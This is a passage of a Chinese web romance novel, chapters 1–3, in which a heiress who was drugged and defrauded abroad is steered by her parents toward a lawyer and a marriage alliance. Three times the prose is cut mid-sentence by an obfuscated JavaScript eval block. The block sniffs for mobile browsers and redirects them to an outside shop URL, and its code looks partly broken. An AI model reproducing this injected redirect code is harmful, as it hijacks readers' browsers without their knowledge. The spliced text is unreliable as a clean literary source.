《月光种植法则》 1. chapter 01 晚六点,福宁街8号。 连日的暴雨过境让空气中残存着湿漉漉的水雾气,驶入巷口的车辆从刮落的枯枝碾过。 地面咯吱响,但很快就被前面的吵闹声盖过。 林朝月懒散地歪在车窗往外看,熟悉的低矮石笼围墙外站着陌生的男女,他们穿着体面,声音却不大体面。此时正嚷着要进去用餐。 再开近一点,墙内中式庭院景观依旧,墙外却挂上了‘点茶听香’的牌子。 “今天陈叔这里不营业?”林朝月随口问。 司机回了句今晚有贵客,然后问她要不要把车停在这里。 林朝月又朝外望了一眼,想说直接走后门,省着麻烦,但再抬眼就见徐助人已经等在门外了。看到熟悉的车,徐助脸上一喜,快步走过来的同时还举着手机低声说了句什么。 徐助是她父亲的私人助理,平日基本寸步不离,这会儿放人出来,看样子是等她等急了。 “就停这吧,行李帮我送去唐湾,麻烦您。” 说话间,后车的车门已经被林朝月推开,想起钟总今早的话,司机有些为难地看了一眼后座。 好在帮忙开门的徐助听见了后半句,把话茬接了过去:“钟总说您刚回国,唐湾很久没住人太冷清,在市中心给您安排了新住处,等会儿吃过晚饭会叫人带您过去,行李我先帮您放好。” “饭局还没开始?”林朝月下车的动作一僵,有些诧异。 她飞机晚点两小时,来的路上刻意磨蹭了很久,还以为能躲过去呢。 徐助微笑:“都在等您,林总今晚十点的海外差旅,两小时后直接去机场;钟总最近的商务洽谈安排在明早,今晚预留了足够多的时间陪您吃饭。” 林朝月撇嘴:“怕是留了足够的时间兴师问罪吧。” 她三年前赴美留学,主修法律专业,国内混日子久了,再加上大二那年她出车祸住了几天ICU,家里对她要求不高。出国前钟女士只交代了两件事,一是顺利毕业,二是不违法犯罪。 说是两件事,其实中心思想只有一件事---别给钟林两家丢脸丢去国外。 母亲大人交代的事自然要好好完成。 她这几年虽然课业不出众,但从不挂科;课余唯二的兴趣爱好,一是滑雪,二是收藏酒,偶尔也会被李聪拉着去去夜店,但和违法犯罪从不沾边。 要说唯一的缺点,那就是费钱,但她不缺钱,所以平日里尽情刷卡挥霍,日子过得还不错。 概括来说,就是富足的咸鱼生活。 倒霉的开始是半个月前。 她顺利毕业准备回国,李聪,她发小,非让她去家里开Party,说她今年走大运,没和他一样延毕,要沾沾她的喜气。还说帮她淘了五瓶90年份的罗曼尼康帝,林朝月去了,她心情不错,还当场开了一瓶酒庆祝。 结果几杯酒下肚就醉得不省人事。 等再醒过来已经是第二天的黄昏,林朝月一脸懵逼躺在医院的病床上,床边还坐着两个纽约州的警察。 在反复确认眼前这年龄不大的东方姑娘就是巨额诈骗案的受害者后,警方颇为同情,留下笔录的同时,顺便把她昨天的悲惨遭遇告诉她。 原来昨天卖李聪酒的那个所谓华裔富二代,就是一骗子。 Party带去的五瓶酒只有打开的那瓶是真的,她那杯还被兑了东西。 难怪玫瑰花蜜余味下有一种说不出的涩感。 原来是没彻底溶解的安眠药:) 那骗子最开始的目标是李聪,这货平日没少炫富,人家以为他是大肥羊,等入侵他账户后发现这哥们就是一穷光蛋,于是把目标转移到了林朝月身上,连这次的毕业Party都是那骗子撺掇办的。 酒是假的,卖酒的人是假的,买酒的网址也是假的。 链接里早就植入了病毒,只等着她买酒付款的时候截获密码,再趁她醉酒搬空她的账户,然后众目睽睽之下扬长而去。 说实话。 一瓶罗曼尼康帝被诈骗两千万这事,连她自己还没来得及消化…… 徐助:“林总说人没事就好,钱还可以再赚。” 林朝月到底有些心虚:“我妈怎么说?” 徐助依然微笑:“您的事情钟总以公司的名义委托给了君天梁木律所,今天裴律师也在。” “谁?”后半句林朝月没大听清,越洋电话和外面又一轮的吵闹声在此刻接连响起。 这次却都是冲着她来的。 刚刚外面吵嚷的女人本来都消停要走了,见她进了院子,以为老板区别对待,抨击老板的同时还不忘捎带着她:“为什么她能进我们不能进?你们不是说今天不营业吗?做高端私宴也要认清你们的客户群体,就那小丫头片子能为你们创收多少?” 林朝月低头看了一眼自己,她刚下飞机,阔腿裤运动鞋,穿得确实有些随意了。 徐助带上门,有些尴尬地解释:“听说是一个艺人团队,托了小钟总的关系过来的,前几天暴雨人没来,今天雨停才来。” “小姨的朋友?” “具体的不清楚,小钟总电话交代,既然约定的日子没来,今天也没提前打招呼,可以不接待。” 钟家上一代两个女儿,两个女儿又都是事业型女人,外人为了区分,称她母亲钟总,称她小姨小钟总;这处私房餐厅也是她小姨投资的产业,算是和陈叔合伙。 既然是小姨的朋友。 林朝月接电话前随口说了句:“介绍她们去隔壁刘姨那吧,总在这儿堵着门也不方便别人过路。” “成,我去说一声,您要不要先进去?林总他们就在水榭对面的采荷轩。” 林朝月扬了扬还亮着的手机:“不急,我接通电话,等下你回来一起。” 她最近基本没怎么接过李聪的电话。 她看他就烦,听见声音更烦。 今天本来也不想接,但他这电话打来的时间不大对。 纽约时间凌晨六点,平时这个点他不是通宵刚结束就是还在睡。 找她有事? 林朝月划开来电,径直坐去长廊下的石凳上。 “月宝,你到家了吗?回国的感觉怎么样?空气是不是比伊萨卡还清新。见着叔叔阿姨没?你按个扩音,我给叔叔阿姨问个好,好几年没见,我都想死他们了!”刺耳的声音是从手机里窜出来的。 “别演了,我还没见着我爸妈,有正事说,没事我挂了。” 回国飞机的引擎声震得林朝月耳鸣,现在还有些不舒服,她从耳边拿开手机按了扩音。 “别挂别挂!有正事!” 听见林朝月现在就自己,对面明显舒了口气,然后变得神秘兮兮:“你听说了吗?” “听说什么?”林朝月有些心不在焉,敷衍的同时正分神盯着青泥砖边缘的蚂蚁搬家。 李聪沉默三秒,心想这花边新闻虽然传的离谱,倒也没传得那么快,这不连林朝月本人都还不知道,他说的即时点,没准还能弥补之前的过错,下次见到林朝月不至于被骂的太狠…… 李聪轻咳一声:“就是和你有关的一些花边新闻……我也是刚听说的,说你仗着家里有钱,不仅在纽约州的学历是买的,私人住处里还包了好几个不同国籍的男大,这次被骗钱也是因为男大在家里争风吃醋你去酒吧买醉,最后因为酒保的美色被骗的。” 李聪一股脑地说完,对面却不做声了,他有些心慌,‘喂’了好几声,生怕信息量太大,林朝月被气晕了。 僵持好一会儿,他才听林朝月说:“继续。” “啊,继续继续,不过你放心,这事你爸妈估计还不知道,我是听我家老李说的,听说为了这事,林叔叔和钟姨准备把你塞到裴舒文的律所去上班,裴舒文你知道吧?就是小时候总欺负我那个,我觉得他比你妈还恐怖,要我说,你最近去川西看牛马肯定是看不成了,估计要去他那做牛马了……” “裴舒文是君天梁木的合伙人?”裴舒文的名字已经有些模糊了,但君天梁木她听过不止一次。 两年前还在宁城排不上号的律所,中途低调换了合伙人,今年已经步入顶级红圈所的行列。 看样子这个裴舒文就话题中心的Rainmaker,业内俗称的造雨者。 李聪:“是啊,你赶紧想想办法吧,漂亮国再不好顶多骗骗你的钱,那可是真正的龙潭虎穴。” 林朝月黑脸,她这倒霉发小还真是哪壶不开提哪壶:“我还没有上班的打算,我不去他们总不会强迫我去。” 李聪:“那可说不准,我们家老李说这次你爸妈估计要动真格的,你提前做好心理准备吧。” “你说我爸妈不知道,那李叔听谁说的?”林朝月蓦地问。 “啊?”李聪一句话就被绕晕了,支支吾吾半天,才犹豫地憋出一句‘难道是听你爸妈说的?’ 林朝月属实被气着了,挂电话前非常无情地丢下一句:“我看你这智力水平明年也别想毕业,卷铺盖辍学算了,给好人挪挪地方!” …… 男人无端轻笑一声,让电话那边的赵淮安有些发毛。 “笑什么呢?” “没什么,你继续说。”裴舒文收回视线,带上休息室的门,木门咯吱声并不突兀,连带着安静的说话声也很快就融于这处布满蝉鸣的庭院中。 还说什么?他刚刚不是都说完了,合着这祖宗一句都没听见去? 但他敢怒不敢言,尤其是想到今年下半年的创收还得指望这祖宗…… 赵淮安:“我说林晓,人家怎么说也是一线女星,天价解约费的官司,你好歹给点面子露个脸,她助理电话都打到我这了,虽然我们今年赚了不少,但赚钱这种事谁又嫌多,这官司不难的,花不了你多少功夫,要不你再考虑考虑?” “嗯,有道理。” 赵淮安一喜:“那你的意思是?” “君天梁木有更专业的合同纠纷律师。” 赵淮安喜不过三秒,声音都拉长了:“可是人家指名要你,说只相信你的能力,而且愿意单独给你五个百分点的费用,这可是笔不小的进账。” “那真遗憾,我不缺钱。” 这恰恰就是最大的问题。如果裴舒文缺钱,赵淮安相信他只要发发力,红圈所第一把交椅都是他们来坐。 但偏偏他不缺。 上次拿暴雨当借口躲了饭局,这次人家都追到门口了他还是不准备见。 赵淮安知道这生意大概率做不成了,他默默叹气,但还是不想放弃。 只是还没想好怎么能请动这尊大佛,他就听裴舒文丢下了一个重磅炸弹。 裴舒文:“林晓的事情你交给汤陈彬处理,腾辉集团提前锁定下个财年和我们的合作,这个合同你亲自拟,合作要求我晚点发你。” “谁?腾辉集团?林腾辉的公司?真的假的?哥你别逗我,我心脏不好!” “嗯,我们暂时达成了口头协议,具体的细节还要再约时间敲定。”裴舒文语调依然沉稳,像是在说一件平常的不能再平常的事。 但对面的人显然没那么淡定了。 “什么情况?腾辉集团之前不是和安颂合作吗?你答应他们什么条件了?还是不收费只为打广告?” 不怪赵淮安一副没见过世面的样子,腾辉集团在宁城金融 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13355320|140701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行业的体量太大,连他们这种律所,吃下也是几年不愁吃喝,更何况腾辉集团可是宁城金融界的风向标,连他们都选择君天梁木,还愁别人不选吗? 他感觉红圈所第一把交椅正在朝他招手! 裴舒文看了眼窗外,语气依然平静:“正常收费,但要帮林家带几天孩子,简历我发你邮箱了,下周一让人事安排入职,实习律师岗,挂我名下。” “得嘞!这事包在我身上!保证把林家的公主少爷打发的乐乐呵呵,多熊的孩子我都忍了!不对,这哪是孩子,这不是妥妥的财神爷!来了我就供起来!” 裴舒文:“林家的意思是不需要优待。” 赵淮安嘴上答应,但心里却暗自决定到时候一定要献献殷勤,这边电话还没挂,他那边就点开邮箱看邮件。 只是这邮件他越看越觉得有些不对。 “裴舒文。” “嗯?” “这就是你说的孩子?你确定林家是让你哄孩子,不是想白|嫖你当上门女婿?” -- 尽管离得很近,但林朝月并未留意到休息室中的动静。 听李聪说完,之前的三分心虚变七分。她起了趁机溜走的念头。 虽说当缩头乌龟不是长久之计,但起码也要避过这阵风头再说,没准到时候钟女士的气就消了,总好过现在直接撞在枪|口上。 只是门外这条路是出去的必经之路…… 不管了,反正天也有些黑了…… 林朝月深吸一口气,随意拢起头发用牙齿轻磕橡皮筋梳了个高马尾,然后蹑手蹑脚推开了木门。 她动作很轻,外面的人正说话也没留意到她,徐助更是背对着她。 她差点就以为今天稳了。 奈何一声大嗓门,直接把她已经飞去川西自驾游的魂又勾了回来。 “不行!” “别想随便就打发了我们!你们如果不让我们进……”瞄到林朝月的第一时间,林晓助理就三步并两步冲了过来,掐着她手腕把人扯了过去:“那她今天也别进了!对待顾客你们要一视同仁!” 很好。 这下子真跑不掉了:) 林朝月火气蹭蹭蹭地往上蹿,只是还没等发作,她就感觉捏在她手腕上的力道被轻巧拨开了。 本以为是徐助,但回过神的林朝月发现徐助正面色紧张站在她不远处的对面。 那他是? 林朝月这时才想到偏头去看,但男人已经上前一步把她‘护’在身后,此时的她只能窥见他的半张侧脸和背影。 不过只要稍稍留意,不难发现,来人五官出众,身形优越。 他长睫微卷,鼻梁高挺,流畅的下颌线一路延伸至修长的脖颈,再往下的躯体被一丝不苟的西装包裹着,但依然遮挡不住其中的沉着矜贵。 男人面上挂着笑,却没什么笑意:“公众人物在外面还是要注意些影响,吓到别人就不好了,您觉得呢,林小姐。” 起初那句‘林小姐’林朝月以为是在说自己,转头见一旁的保姆车降下车窗,林朝月才发现徐助口中的‘艺人’指得竟然是林晓。 她认得她。 李聪家里是做娱乐业的,经常提起这位。 国内的顶级一线女星,背后金|主资本雄厚,曾经一掷千金连续一个月投放纽约时代广场的大屏广告,手握四十几个代言,是圈内最具商业价值的女艺人。 只是她怎么在这? 车内的林晓微微一笑:“裴律,您的档期难约,赵律师不愿意给我你的联系方式,我也只能出此下策了。” 原来不是来吃饭,而是来找人的。 只是这找人的方式实在不怎么雅观,林朝月轻抬手腕,天色已暗,但路灯下隐约还能看见刚刚被捏出的红痕。 男人似乎察觉到她细微的动作。 没第一时间作声,而是回头看了一眼她:“疼?要不要送你去看医生。” “啊?”也没这么严重。但她想到了什么,倒也没再作声。 林晓是人精,男人说话间,她已经让助理拿了一个顶奢橙色礼盒送给林朝月。 林晓:“真抱歉,我助理年纪小做事总没轻没重的,希望裴律别介意。只是不知道今天裴律方不方便赏脸吃个饭?” 道歉自然不是对林朝月道歉的,但她此时正八卦着面前两个人的关系,也没计较。 裴舒文依然绅士,只是态度难免疏离:“今天怕是要辜负林小姐的美意了,不如我们改日?” 见不到人尚且不罢休。 此时见到人,怎么会轻易放他走。 一时间气氛有些僵持。 林朝月还没倒时差,大家都不说话,她站了一会儿人就有些犯困。 “有纸笔吗?”裴舒文突然出声,林朝月哈欠打了一半,才后知后觉他是在和自己说话。 “哦,有。”她翻起了随身背的包,包里有笔和便利贴。 递过去的时候,她手指不小心触摸到他冰凉的指尖,人也跟着立刻清醒了。 她顺着看过去,就见男人在写字,他以掌心做支撑,笔尖有力,墨水迅速在纸张上划过,写下一串名字和号码后,最后顿笔。 有字的那张给了林晓。 拓下印子的那摞重新回到了她的手上。 后面他们再说什么,林朝月没仔细听。 因为她看着上面龙飞凤舞的痕迹,突然有一瞬的失神,记忆深处,身边男人的精致面孔正渐渐与记忆中模糊的张扬少年重叠。 裴、舒、文。 第六感突然让她觉得,写出这样字的人,倒也未必如表面看起来的那样绅士…… 2. chapter 02 采荷轩外的雕花木门虚掩着,夜间偶尔有一簇微风刮过,能嗅到屋内淡雅幽长的合香。 林朝月站在门外青鹅卵石铺的路面上,内心忐忑。 但都到这时候了,想躲是躲不掉的。 何况她先一步到,裴舒文和徐助估计也马上过来了。 总不能真傻愣愣地站在这里等他们一起。 她深吸一口气,推开木门走了进去,屏风后隐约能听见里面有人谈笑。 大概是听见了外面的动静,屋内有人起身走了过来。 林朝月紧张的心情在此刻几乎达到了巅峰。 看样子不管多大年纪,犯了错的孩子都怕见家长。 她挪动的步伐明显变小了…… “月丫头到了?路上走了这么久是不是累了?快进来坐,今天陈叔给你准备了你最喜欢的桂花酒酿圆子。” 见是陈叔,林朝月的紧张明显消了几分,她甜甜地笑了下,应道:“谢谢陈叔。” 陈叔是小姨的朋友,几乎是从小看着她长大的。 陈伯瑜许久没见林朝月,上下仔细打量了一番:“我们月丫头又漂亮了,变大姑娘了,这次回国就别再出去了,外面有什么好,你听陈叔的,咱们以后就留在宁城,平时想吃什么了就来陈叔这里,想吃什么咱们就做什么。” 不得不说,吃了好几年的白人饭,陈叔这话的诱惑力不小,但她爸妈那关还没过,林朝月脑袋里的筋还紧绷着。 林朝月朝屏风后面探了一眼,小声问:“我爸妈呢。” 谁知道这屋子半点不隔音。 她声音已经压得极低了,还是被里面雅间的人听了去。 “都到了还不快进来,陈叔起身迎你还不够,还要所有人请你进门吗?”钟凌言辞沉稳中带着严厉。 林朝月心想,今天果然是‘鸿门宴’。 她们家钟女士平日里虽然也强势,但对自己这个唯一的女儿态度也算刚中带柔,鲜少会是这种态度。 眼下这是和她生了不小的气。 陈伯瑜倒觉得这个年纪的小孩犯点错没什么,忙着打圆场:“一个人在外面呆了这么久,你爸妈是惦记你呢,快进去吧,今天你方爷爷也在。” 方爷爷? 林朝月显然没第一时间想起这位‘方爷爷’是谁。 但等听陈叔说了后半句,她就知道了。 “你方爷爷家的外孙小时候和你住过一个院子,他今天也在,等会儿见了面你没准也认识。” 说罢,陈伯瑜脸上就是一喜,视线越过林朝月落在她身后:“你看,说曹操曹操就到了,月丫头你看看你还认不认识了。” 林朝月此时也回身看过去。 来人如她所想,正是裴舒文。 不像刚刚在外面时外放的气场,此时他的情绪收敛着,目光柔和,如果穿得不是西装而是常服,大约真的像是哪位邻家大哥哥。 她打量着他,最后目光猝不及防地同他对视。 他眸子坦荡如同一汪平静的水,倒影中她的神情反而有些不自在。 林朝月心跳莫名加快,随后不太自然地别开眼去。 裴舒文听见了陈叔的话,解释:“我们刚刚在门口遇见,已经认识了,门外拦路的客人走了,不会影响今晚的用餐。” 陈伯瑜笑着拍了下手:“那感情好,不过可惜你和月丫头错过了今晚餐前的点茶,下次有机会你们俩单独过来,我最近收了批上好的白茶,到时候让你们尝尝。” 陈叔看起来也和裴舒文很熟稔,说着话,几个人就进了里面的雅间。 林朝月被打断了一下,反而没那么紧张了,还有心情四处打量。 雅间外是玉石屏风,雅间内却是全实木建造的,宁城夏季的傍晚不热,屋内的支摘窗敞着,纱窗是桑蚕丝织造的帘幕,屋内的圆桌上摆着装有活鱼的透明鱼缸,中间翠绿的荷叶上边还飘着未燃尽的香灯。 林朝月自觉自己出生优越见多识广,但此时也有些像土鳖进城。 但土鳖归土鳖,基本的社交礼仪她没忘。 进来的第一时间就叫了人:“爸妈,方爷爷。” 钟凌本来还存着气,但见女儿比上次见时瘦了一圈,态度缓和了些:“来这边坐,你陈叔今天准备了不少你爱吃的。” 林腾辉倒觉得女儿的那些事都是小事,但既然和妻子达成了统一战线,也不好太热情,只是招呼着叫了一声她的小名。 整间屋子里,对林朝月关注最多的要数裴舒文的这个外祖父了。 林朝月叫过人后,他一连说了几个‘好’,还送了她一份见面礼。白色锦盒中装着一只成色少见的黄翡手镯。 “来丫头,这个送给你,方爷爷的见面礼。” 这手镯一看就很贵重,何况林朝月和这位方爷爷还是第一次见,她连忙推辞:“方爷爷,我不能收您的礼物。” “就是一个小玩意,这有什么不能收的,快拿着。我这老头子下面几个孙子外孙,就是和孙女没缘分,我这外孙整日的不着家,出来吃饭也要忙工作,也不知道哪天才能带个孙媳妇回来,首饰放在那里都蒙尘了,还不如出来见见光。” 裴舒文对自己祖父这态度见怪不怪。 他极为绅士地为自己中途离席道歉后,然后又重新落座。 陈叔也坐回了自己的位置。 最后只剩林朝月还站着了。 在钟女士的默许下,她最后还是收了礼物:“谢谢方爷爷。” “谢什么谢,快坐快坐。” 这种聚会,用餐的位置都是一开始留好的,她环视了一圈,在一旁找到了自己的位置,不过让林朝月比较意外的是,陈叔把她和裴舒文的位置安排在一起。 连给她准备的酒酿圆子也是放在靠裴舒文这侧,而不是放在她右手边的钟女士那里。 换做以前,她可能会默默地把白瓷碗端过来些,但想到钟女士刚刚的态度。 她落座后就乖巧没动,尽力降低自己的存在感。 但大家刚刚都听见了裴舒文的话,这场景落在他们眼里,就以为林朝月已经和裴舒文很熟了。 林腾辉率先说:“月月,你和你舒文哥哥算是同行,你舒文哥哥在法律领域非常厉害,你要多和他聊聊,多向他学习。” “对,多聊聊,你们年轻人话题多。”陈叔附和着。 最后连钟女士和方爷爷都认同地点了点头。 聊什么? 聊她国外留学这几年怎么混日子? 还是她前脚拿法学毕业证,后脚就被诈骗…… 林朝月勉强朝一旁的裴舒文笑笑,安静低头吃酒酿圆子掩饰尴尬。 好在大人们点到为止,又继续林朝月进来前的话题聊起了金融和投资。 重点不在她这,那她就放心了。 林朝月舒了口气,但刚要松懈下来,她就发现裴舒文在很认真地在看她。 和他这么短的相处时间里。 林朝月发现每次裴舒文看自己的眼神都不一样。或者绅士、或者平静,或者审视。但每次又都恰到好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13355321|140701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处。 这次则是探究。 裴舒文不知道是对她感兴趣,还是顺应大家刚才的话准备和她‘聊聊’。 见她看向他,顺势开始问了一些她学业相关的问题。 问得内容不算非常专业,但总能提到一些关键。 裴舒文:“国外的法律并不比国内的轻松,怎么想到选这个专业?” 林朝月不傻,知道裴舒文问得肯定不是这个,而是想问他们一家子经商的,怎么就她跳脱地选了法学。 她总不能说当年信了李聪的邪,听说这个专业好毕业,就陪着他一起了,国内读读不够,本科毕业又去了国外。 林朝月微笑:“觉得法律专业比较有发展前景。” 但裴舒文好像真的只是闲聊,并不计较她给的回答,也不深究。 紧接着便换了个话题:“听钟姨说,你之前参加过耶伦教授在校外的项目,据我所知,耶伦教授对名下团队的要求非常高。” “你认识耶伦教授?” 裴舒文:“嗯,之前合作过一起海外项目,他非常专业,在法律方面也有自己的坚持。” 林朝月没想到回国还能听人提起耶伦教授,这是她的侵权法老师,她虽然不怎么爱上课,但很喜欢这个小老头。连带着对认识他的裴舒文也亲切了几分。 这次倒是主动多聊了一些。 林朝月:“耶伦教授其实没大家说的那么严格,他只是对法律比较专注,有一段时间他对我们国家的经济犯罪比较感兴趣,我刚好听我爸妈提过一些,课后多和他聊了几句,他就邀请我去他的律所看他近几年承接的案子。” 后面耶伦教授发现她记性非常好,随眼看过的案子连一些细节都记得,就降低成绩要求破格把她叫过去帮忙了。 不过后面的这些林朝月没提。 她不大关注学业,也不卷绩点,之前只知道耶伦教授是一年级侵权法课程的讲师,等后面误打误撞进了他校外的项目团队,认识了里面的一众大拿后,她才惊觉自己确实是走了狗屎运。 还是非常大的狗屎运, 裴舒文若有所思地问:“有什么比较感兴趣的案例吗?耶伦教授承接的项目应该都比较有挑战性。” 其实是有的,而且不止一个,比如有一起美国密室逃脱qj案。 工作人员对困在密室体力悬殊的女生实施犯罪,女生全程并没有反抗,但离开后的第一时间指控男店员qj,男店员拒不承认,说女生是自愿的,女生在耶伦教授的帮助下最终胜诉。 这案子后面还引起了很大的社会反响。 但大人们还在聊生意上的事,她也不好一提就提一个这么劲爆的。 林朝月想了想后,想起了另外的案子。 是一桩跨国房产买卖案,刚好那案子的被告也是宁城人。她还参加了一些这个案子的收尾工作,拿了一个学分,所以印象深刻。 “倒是有一个,被告是宁城人……” 裴舒文示意她继续说。她随意讲了一下,在裴舒文的引导下,她偶尔还会穿插一些自己的理解。 裴舒文明显听得更专注了,连坐在对面的林腾辉和方万里偶尔也会投过来一个目光。 但林朝月太过投入,完全没留意这些。 直到她说完,裴舒文猝不及防的问题,才让她猛地回神。 裴舒文凝神看了林朝月一会儿,渐渐推翻之前对林朝月的预期,心里有了其他打算:“听起来你对国内的法律体系也了解一些,你对回国发展有什么看法?” 3. chapter 03 如果林朝月刚才没接过李聪的那通电话,她会觉得裴舒文就是随口一问,但她现在能有什么看法!她敢有什么看法! 所以林朝月果断闭嘴了。 方爷爷却在一旁开玩笑道:“你舒文哥哥在国内也有律所,你要是感兴趣,可以去那里找他玩。让他给你走后门。” 林朝月藏在桌子下面的手已经紧张得攥起来了,脸上的笑容也有些勉强。 不过让她没想到的是。 这次解围的人依旧是裴舒文。 裴舒文淡淡地说:“外公,大家都有自己的想法,这种事还是要看朝月自己的意愿。” 方万里笑着:“好好好,年轻人确实要早些独立,有自己的想法是好事,不过现在我们这些老的啊,也没什么别的愿望,唯一想的就是能看见你们早日成家,事业独立不算圆满,最后还是要有一个完整的家庭才行……” 林腾辉看了一眼自家闺女,认同地点头:“确实,说起来我们家月丫头也快到嫁人的年纪了……” 话题就这么急转直下,从工作事业聊到了儿女婚事。 起初林朝月只是有些尴尬。 但等听到连钟女士都说想让自己早点结婚后,林朝月含在嘴里的那口果汁,险些呛出来…… 后面陈叔更是开了几次玩笑,说她和裴舒文也算合适。 这一顿饭下来,林朝月如坐针毡,反观和她相同处境的裴舒文,整个人气定神闲,像没听见似的。 算了。 她也全当没听见,都装这么久了,也不差这一会儿。 …… 煎熬了两个小时。 饭局终于接近尾声。 踏出雅间的林朝月第一时间松了口气。趁着大人还在寒暄,她找借口先溜一步,但找了一圈都没看见徐助,等去门口的休息室,还发现自己放着的那些行李都不见了。 要不是在陈叔的地界,她差点以为自己又被偷了。 林朝月一时间有些摸不着头脑。 虽然不大乐意,但见钟女士也要走了,她磨蹭着凑到了她车前。 林朝月敲了敲后车半开的车窗:“妈妈,怎么没看见徐助?我今晚回哪里住?” 钟凌从坐上车开始就在处理工作,知道是林朝月也没抬头:“你爸爸今晚飞墨尔本,现在和徐助在去机场的路上,行李司机已经帮你送到住处了,回宁城的事你舒文哥哥也都替你安排好了,一会儿你坐他车走,记得听话。” 跟裴舒文走? 可她今天才刚和裴舒文见过,小时候的记忆早就模糊了,她和裴舒文刚刚聊得也只是看起来不错,但两个人根本不熟悉,她饭桌上甚至还有点演的成份…… 林朝月犹豫。 见女儿一直没出声,钟凌终于抬头看了她一眼。 林朝月白皙的皮肤中透着淡淡的粉色,弯翘睫毛下的眼睛总是亮晶晶的,高马尾因为低头垂落在脸颊边,即便没笑也十分好看。 自己这个女儿继承了钟林两家好看的皮囊,却没继承来她和林腾辉的凌厉和果绝。 遇事总是犹豫,智商不算低但缺少社会历练,还有些懒散。 钟凌提了口气:“这不仅是我的意思,也是你父亲的意思,我们最近工作忙,你父亲要着手处理海外资产,我处理完国内的事情也要马上过去。” “你在学校的那些事我们暂时没时间追究,但不追究不代表没发生,我们也是深思熟虑后决定把你托付给舒文,你舒文哥哥很优秀,珍惜这次机会,希望等我和你父亲回来的时候你能改掉那些坏毛病,不要再让我们失望了……” 林朝月就知道自己今天肯定躲不过去钟女士的‘批斗’。 她装乖这么久,本以为没事了,还是没挡住被劈头盖脸说了一顿。 再见裴舒文的时候,她人有些灰头土脸。 裴舒文倒是一点都不意外,只问:“会开车吗?” “会。”她没什么精气神儿地说。 裴舒文递过来自己的车钥匙:“我等会儿有个视频会议,你来开?” “啊?我吗?” “嗯,上车吧。” 等林朝月反应过来的时候,她人已经坐上裴舒文车的驾驶位了。一辆配色低调的阿斯顿马丁。 成色很新,应该是新提的车,倒是不怕她开坏了。 裴舒文见她四处打量,像是看出了她的心思,视频会议开始前报了个位置,随后补了句:“车子可以开坏,但注意夜间行人。” 林朝月心情正郁闷,忍不住想抬两句杠,但裴舒文一反饭局上的‘绅士’,系好安全带后就没再看她。 合着这是把她当成一个没有感情的司机了? 虽然心里面不大高兴,但林朝月动作很诚实,纠结了半天,最后还是老老实实导航到裴舒文说得天河之城,宁城市中心的一处住宅区。 路上的时候裴舒文一直在开会。 直到车开进小区,裴舒文才临时静音会议。 “是这里吗?” “嗯,一路往前开,第一个分叉口左转下车库。” 林朝月过闸口的时候四处打量着,她发现这小区虽然在市中心,环境也不错,但并没有自己想象中的那么好,起码不是她想象中的超高品质住宅。 裴舒文家世不错,当律所的当红合伙人想来也挺赚的吧,怎么住这里? 不过好奇归好奇,她也没问。她躲懒惯了,也没那么爱问人家的闲事。 直到他熟练地指挥她停车,然后让她也跟着上去。 林朝月才疑惑:“去你家?不先送我回去吗?” “你很急?”裴舒文反问。 “也不是……” “那就行,上楼吧。”裴舒文打断。 她不是急!她就是突然有了一些不好的预感,但她人都跟来了,还有钟女士的‘警告’在先,现在也只能硬着头皮上楼了。 裴舒文家住四楼,住处倒是比她预想中的要好很多,装饰大方简洁,但冷淡且不突兀的色条一看就花了许多功夫,非常特别,唯独就是没什么人气。 裴舒文的电话会议仍在继续。 他进门就径直去了书房,把她一个人撂在客厅。 “会议还有十分钟结束,你随便坐,稍等我一会儿。” “啊,好。” 她坐在客厅唯一的黑皮沙发上等着。 四处打量够了,收回视线的时候,才留意到沙发边上的茶几上摆了一份文件。 她没有窥探别人隐私的习惯。本想别开眼,但等看到封面上印着自己的名字,她犹豫后,还是拿起来看了。 林朝月最开始只是疑惑,但这疑惑随着她往后翻逐渐变成了心惊…… 她眯着眼抿着唇,手上纸张捏得皱巴巴,一看就是用了不小的力气。 裴舒文刚从书房走出来,就看到林朝月这幅样子。 他坐到她对面,视线扫过桌面上的‘共同居住协议’,淡定问:“都看过了?” “这是什么?”林朝月仍然有些难以置信。 裴舒文好脾气地解释:“如你所见,裴林两家有联姻的打算,相信今天的饭局你也发现了。” “那只是开玩笑,不是真的,我现在就给我妈妈打电话……”林朝月反驳得同时,电话已经拨出去了,但三秒后,她得到了一串忙音。 “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13355322|140701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 建议你可以先看一下你的银行卡余额。” 裴舒文有些疲惫,说完便双腿交叠,靠在沙发上闭目养神,只有他们两个人在的时候,他比之前多了几分不拘和随性。 然而此时的林朝月已经没有心思留意这些。 她机械得像提线木偶,打开手机翻出账户,在看到被冻结的数字和被注销的电子房卡后,直直愣在原地,有些难以置信。 